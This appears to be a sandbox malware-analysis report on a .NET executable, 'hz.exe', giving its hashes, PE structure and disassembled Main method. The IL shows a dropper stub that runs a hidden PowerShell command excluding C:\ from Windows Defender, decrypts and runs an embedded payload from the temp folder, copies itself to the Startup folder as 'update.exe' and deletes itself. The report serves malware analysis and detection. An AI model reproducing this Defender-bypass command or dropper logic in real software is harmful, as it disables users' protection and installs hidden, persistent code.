Suspicious
Suspect

d5a56772552ede492b7cdbe436ead868

PE Executable
|
MD5: d5a56772552ede492b7cdbe436ead868
|
Size: 1.96 MB
|
application/x-dosexec

Print
Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Medium

Hash
 Hash Value
MD5
d5a56772552ede492b7cdbe436ead868
Sha1
92b52e3be58cf4f2baf89a12857fd9eb6375a0fe
Sha256
3e336ef75dbb6d7168fc2dcbce4a139e3c23ca2be7459b10c0050cad9267a383
Sha384
eae721b5a98370150e7e6417ddfc40a49dfb8d7794e22336cea0a5ed87b40743a41462865e29c7d917fed0aa4f3a4ad6
Sha512
47e1413ab96c0256b9a3a4064c07c9792811db31a7ac3d6cab1898dc3e567f3e34bde48b95c70e381ca7f3a2985303fe66115973a056fb31375191ea8abcbb24
SSDeep
24576:d3JJy5Z9RyVHYIWuKBRi+hQRNfcHqIEre7dUFKGxr0OVt1roCYGXNL8Tf8LWzDkI:Lai3GBRJhuNfURQK6BL5oy9L8YLW3ff
TLSH
E39533613FB5A4C0FC428A710BE86D7324B5138517AEBEC55A626F2895F138138F7B72
File Structure
d5a56772552ede492b7cdbe436ead868
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Informations
Name
 Value
Module Name

hz.exe
Full Name

hz.exe
EntryPoint

System.Void ATkmkwPKEzlNtFv::Main()
Scope Name

hz.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

hz
Assembly Version

0.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

<null>
Total Strings

12
Main Method

System.Void ATkmkwPKEzlNtFv::Main()
Main IL Instruction Count

154
Main IL

nop <null> ldstr [STUB] Decrypting {0} bytes ldsfld System.Byte[] ATkmkwPKEzlNtFv::OssGeXKX ldlen <null> conv.i4 <null> box System.Int32 call System.String System.String::Format(System.String,System.Object) call System.Void System.Console::WriteLine(System.String) nop <null> nop <null> newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldstr powershell callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) nop <null> dup <null> ldstr -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\' callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) nop <null> dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) nop <null> dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) nop <null> stloc.0 <null> ldloc.0 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) dup <null> brtrue.s IL_0058: ldc.i4 3000 pop <null> br.s IL_0063: ldstr "[STUB] Defender exclusion added" ldc.i4 3000 call System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> ldstr [STUB] Defender exclusion added call System.Void System.Console::WriteLine(System.String) nop <null> nop <null> leave.s IL_0076: nop pop <null> nop <null> nop <null> leave.s IL_0076: nop nop <null> nop <null> ldsfld System.Byte[] ATkmkwPKEzlNtFv::OssGeXKX ldsfld System.Byte[] ATkmkwPKEzlNtFv::tDpEEoLcAVutggKAg ldsfld System.Byte[] ATkmkwPKEzlNtFv::BzXrWBFbJ call System.Byte[] ATkmkwPKEzlNtFv::TQjnorlOSo_jrIjqU(System.Byte[],System.Byte[],System.Byte[]) stloc.1 <null> ldstr [STUB] First 4 bytes: ldloc.1 <null> ldc.i4.0 <null> ldc.i4.4 <null> call System.String System.BitConverter::ToString(System.Byte[],System.Int32,System.Int32) call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) nop <null> call System.String System.IO.Path::GetTempPath() call System.Guid System.Guid::NewGuid() stloc.3 <null> ldloca.s V_3 constrained. System.Guid callvirt System.String System.Object::ToString() ldstr .exe call System.String System.String::Concat(System.String,System.String) call System.String System.IO.Path::Combine(System.String,System.String) stloc.2 <null> ldloc.2 <null> ldloc.1 <null> call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) nop <null> nop <null> ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr update.exe call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_4 call System.String System.Windows.Forms.Application::get_ExecutablePath() stloc.s V_5 ldloc.s V_5 ldloc.s V_4 ldc.i4.1 <null> call System.Void System.IO.File::Copy(System.String,System.String,System.Boolean) nop <null> ldstr [STUB] Added to startup: ldloc.s V_4 call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) nop <null> nop <null> leave.s IL_012C: newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() stloc.s V_6 nop <null> ldstr [STUB] Failed to add to startup: ldloc.s V_6 callvirt System.String System.Exception::get_Message() call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) nop <null> nop <null> leave.s IL_012C: newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.2 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) nop <null> dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) nop <null> dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) nop <null> dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) nop <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> ldstr [STUB] Started ldloc.2 <null> call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) nop <null> ldc.i4 5000 call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess() callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule() callvirt System.String System.Diagnostics.ProcessModule::get_FileName() call System.Boolean ATkmkwPKEzlNtFv::DeleteFile(System.String) pop <null> nop <null> leave.s IL_01B8: ret stloc.s V_7 nop <null> ldstr [STUB] Exception: {0} ldloc.s V_7 call System.String System.String::Format(System.String,System.Object) call System.Void System.Console::WriteLine(System.String) nop <null> ldstr The program will close in 10 seconds... call System.Void System.Console::WriteLine(System.String) nop <null> ldc.i4 10000 call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> leave.s IL_01B8: ret ret <null>
d5a56772552ede492b7cdbe436ead868 (1.96 MB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙